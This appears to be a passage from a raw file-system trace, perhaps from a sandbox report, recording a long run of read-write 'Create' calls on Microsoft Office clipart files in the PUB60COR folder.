Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00932_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00985_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOAT.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00076_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00136_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00145_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00184_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00186_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00438_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00439_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00440_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00441_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00442_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00443_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00444_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00445_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00453_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01080_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01603_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01634_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01635_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01636_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01637_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01638_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01639_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CARBN_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CG1606.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLASSIC1.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLASSIC2.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLIP.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CMNTY_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANE.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANINST.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUP.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUPINST.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00117_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00121_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00234_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00255_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00256_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00261_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00297_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00372_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00405_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00407_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00413_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00414_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00419_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00437_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00448_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00449_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00687_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00705_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01015_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01039_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01138_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01139_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01140_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01143_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01145_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01146_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01151_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01152_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01157_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01160_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01162_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01163_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01166_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01167_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01168_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01169_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01170_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01171_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01172_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01173_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01176_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01178_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01179_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01180_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01181_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01182_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01183_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01186_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
